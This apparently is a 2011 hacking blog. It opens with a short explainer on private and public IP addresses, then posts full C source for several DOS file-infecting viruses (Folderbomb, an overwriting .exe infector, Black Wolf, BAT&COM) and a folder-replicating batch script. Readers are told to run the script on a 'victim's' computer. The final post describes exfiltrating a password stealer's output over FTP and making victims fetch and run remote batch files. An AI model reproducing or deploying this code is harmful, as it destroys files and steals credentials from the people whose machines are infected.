Tuesday, August 09, 2011

What are Private and Public IP Addresses


What are Private and Public IP Addresses

Private and Public IP AddressesInternet Protocol (IP) addresses are usually of two types:Public and Private. If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place. In this post I will try to explain the difference between a public and a private IP addres in layman’s terms so that it becomes simple and easy to understand.
 

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. Hence there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.
A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting webpages or services on the Internet. On the other hand a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet. Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.
You can check your public IP address by visiting www.whatismyip.com
 

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):
10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)
Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other. Say for example, if a network X consists of 10 computers each of them can be given an IP starting from 192.168.1.1 to192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).
Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.
If the private network is connected to the Internet (through an Internet connection via ISP) then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.
You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.
Unlike what most people assume, a private IP is neither the one which is impossible to trace (just like the private telephone number) nor the one reserved for stealth Internet usage. In reality there is no public IP address that is impossible to trace since the protocol itself is designed for transparency.
Read More

Tuesday, July 05, 2011

REPLICATION Program


#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:Nishanth(leviboys70@yahoo.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
Read More

OVERWRITE Program CODE


#include<stdio.h>
#include<dir.h>
#include<dos.h>
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst(“*.exe”,f,0);
while(!done)
{
virus=fopen(argv[0],”rb”);//open the virus in read mode
host=fopen(f->ff_name,”rb+”);//open the host file in r/w mode
for(;fread(buffer,512,1,virus)==1;)
fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf(“infecting %s
“,f->ff_name);
done=findnext(f);
}
}
while(!chdir(“..”));
printf(“For any querry contact
Nishanth ;leviboys70@yahoo.com“);

Read More

BLACK WOLF Programme


/*  It will infect all .COM files in the current directory  */
#include <stdio.h>
#include <dos.h>
#include <dir.h>
FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;
main()
{
done = findfirst(“*.COM”,&ffblk,0);   /* Find a .COM file */
while (!done)               /* Loop for all COM’s in DIR*/
{
printf(“Infecting  %s\n”, ffblk.ff_name);    /* Inform user */
Virus=fopen(_argv[0],”rb”);          /* Open infected file  */
Host=fopen(ffblk.ff_name,”rb+”);     /* Open new host file  */
x=9504;                               /* Virus size – must   */
/* be correct for the  */
/* compiler it is made */
/* on, otherwise the   */
/* entire virus may not*/
/* be copied!!         */
while (x>256)                         /* OVERWRITE new Host  */
{                                 /* Read/Write 256 byte */
fread(buff,256,1,Virus);          /* chunks until bytes  */
fwrite(buff,256,1,Host);          /* left < 256          */
x-=256;
}
fread(buff,x,1,Virus);                /* Finish off copy     */
fwrite(buff,x,1,Host);
fcloseall();                          /* Close both files and*/
done = findnext(&ffblk);              /* go for another one. */
}
/* Activation would go */
/* here                */
return (0);                             /* Terminate           */
}

Read More

Programme CODES IN “ C “ :- BATCH & COM Programmes


#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>
struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir);            /* Save the old directory  */
Pick_A_Dir();                 /* Find a new directory to */
Infect_Directory();           /* infect and infect it.   */
chdir(old_dir);               /* Return to old directory */
return 0;
}
Pick_A_Dir()
{
int done;
chdir(“..”);                      /* First, Go out a DIR. */
done=findfirst(“*.BAT”,&ffblk,0); /* If no BAT files, try */
/* root and DOS         */
if (done)
{
chdir(“\\”);
done=findfirst(“*.BAT”,&ffblk,0);
if (done) chdir(“\\DOS\\”);
}
return 0;
}
Infect_Directory()
{
int done;
done = findfirst(“*.BAT”,&ffblk,0);
while (!done)                       /* Find all .BAT files */
{                                /* and add code to run */
Do_Batch();                     /* BAT&COM if not      */
done = findnext(&ffblk);        /* already there       */
}
if (findfirst(“BAT&COM.COM”,&ffblk,0)) /* If BAT&COM does  */
{Copy_Virus();}                     /* not exist, then  */
return 0;                              /* copy it into dir.*/
}
Do_Batch()
{
FILE *batch;
char Infection_Buffer[12];
char vpath[MAXPATH];
Get_Path(vpath);            /* Get path for adding path */
/* specifier in commands    */
if (vpath[3]==0) vpath[2]=0; /* Keep path good in root  */
batch=fopen(ffblk.ff_name, “rt+”);
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;             /* Terminate String */
if (strcmp(Infection_Buffer,”BAT&COM.COM”)) /* Check if */
{                                   /* Batch is */
fseek(batch, 0, SEEK_END);          /* infected.*/
fprintf(batch,”\n%s\\BAT&COM.COM”,vpath);
}                              /*^- Add command */
/*   to batch    */
fclose(batch);
return 0;
}
Copy_Virus()
{
FILE *old_virus, *new_virus;
int write_length;
char copy_buffer[1024];              /* Copy the virus to */
/* new directory     */
old_virus=fopen(_argv[0],”rb”);
new_virus=fopen(“BAT&COM.COM”,”wb”);
write_length=1024;
while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}
Get_Path(char *path)
{
strcpy(path, “A:\\”);
path[0] =’A’ + getdisk();    /* Returns current path */
getcurdir(0, path+3);
return 0;
}
-       – - —————–End of Code———————— – - -
Read More

Folder Replicator Batch Programmme session I


Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.
1. Just open up a notepad, copy and paste the below code
cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop
2. Save it as a batch file with the extension .bat.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.

Read More

Folder Replicator Batch Programme


Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.
1. Just open up a notepad, copy and paste the below code
cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop
2. Save it as a batch file with the extension .bat.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.

Read More

Sending Files Via ftp Batch!


OK, So i made a password stealer that would output a .txt file to the windows folderm i then made a ftp batch that would upload the txt file to my server, so far ive managed to get some passwords but not for anything important, So if you want to know how to make a ftp batch then heres how.
First for example were gonna try upload a file called Test.txt to our server
Upload.bat
ftp -n -i -s:MyUploadFiles.ftp
First make a file called upload.bat and put this in, Now we need to make the myuploadfiles.ftp, if you wanna call it something else then change the myuploadfiles.ftp to what you want but KEEP the .ftp at the end.
Ok now its the myuploadfiles.ftp creating time, or whatever you called it before.
open your-host
user username.spam.com password
ASCII
send test.txt
BI
This is the bit where you have to change the username password and host to what your ftp host is. then change the send test.txt to what file you want to upload, it doesn't have to be a txt file, it can be any one.
Now make sure both files are in the same dir as each other and run the .bat file. check your ftp server and guess whats sitting there! test.txt! So if you want to upload a file from someone's pc, you could use this?
Also theres nothing stopping you from putting in the "get" command in the .ftp, say get download.bat, whenever you want to change what it does make it call it download.bat and shove it on the server, then the victim will download it and be executed.
Read More